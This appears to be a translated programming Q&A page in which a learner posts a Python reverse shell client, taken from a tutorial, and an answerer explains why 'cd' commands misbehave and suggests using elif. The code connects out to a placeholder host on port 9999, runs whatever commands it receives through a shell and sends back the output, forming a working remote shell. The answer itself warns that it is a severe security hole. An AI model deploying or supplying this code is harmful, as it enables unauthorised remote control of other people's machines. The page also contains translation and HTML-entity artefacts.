import os
import socket
import subprocess
s = socket.socket()
host = '<my-ip>'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
outputBytes = cmd.stdout.read() + cmd .stderr.read()
outputStr = str(outputBytes, "utf-8")
s.send(str.encode(outputStr + str(os.getcwd() + '> ')))
print (outputStr)
# Close connection
s.close()
我正在尝试使用python创建一个远程客户端 - 服务器应用程序,通过新的波士顿的python反向shell的turorial。
以上是client.py的代码。事情是所有命令都正常工作。当我使用
cd“带空格的目录名称”
它给了我这个错误“系统无法找到指定的路径”。但它仍然会更改目录。我不确定为什么即使在发出错误后它仍然会更改目录?
答案 0 :(得分:1)
这里有两个if
:
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
如果命令以&#39; cd&#39;开头,则执行第一个块(因为它以&#39; cd&#39;开头)。
如果命令以&#39; cd&#39;开头,则第二个块也会执行(因为它的长度大于0)。
第一个块即使有空格也会更改目录。第二个块没有。
您希望使用elif
来阻止两个块执行:
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
elif len(data) > 0:
cmd = subprocess.Popen(...
顺便说一下,这段代码还有其他问题:
'cdefgh'
会将目录更改为'fgh'
'cd abc'
会尝试将目录更改为' abc'
,但可能会失败
如果Popen
用于cd
以外的任何内容,我不明白为什么它不会用于cd
在服务器中暴露这样的接口是一个比任何病毒都希望创建的更大的安全漏洞 - 如果你这样做只是为了学习,请在完成后立即刻录代码;)
< / LI>